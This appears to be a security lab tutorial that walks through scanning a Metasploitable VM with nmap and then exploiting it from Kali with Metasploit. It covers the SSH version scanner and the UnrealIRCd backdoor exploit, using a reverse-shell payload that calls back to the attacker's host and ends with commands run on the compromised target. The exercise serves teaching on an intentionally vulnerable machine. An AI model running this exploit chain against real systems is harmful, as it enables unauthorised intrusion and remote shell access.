(example below)
Networking: Determine the IP address of the Metasploitable VM and run from Kali:
nmap –F [IP address]  This gives you a list of services to attack. You should receive something like:
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
8009/tcp open  ajp13
Next try the following commands:
service postgresql start
msfconsole
?
show exploits   # display everything
search ftp / mysql / etc / ssh    # display only exploits matching a certain keyword
info auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS [IP address]
run
back
search Unreal 3.2.1.8
info exploit/unix/irc/unreal_ircd_3281_backdoor
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST to Metasploitable IP
show options
set RHOST [IP address]
show options
set LHOST to Kali IP
show payloads
set payload cmd/unix/reverse
show options
set LHOST [IP address]
Make sure everything has values and then run exploit
show options
exploit
Notice it says that a session is opened, but then it just gives you a blinking cursor. You are actually sitting in a terminal shell with the target machine.  Try running:
whoami
ls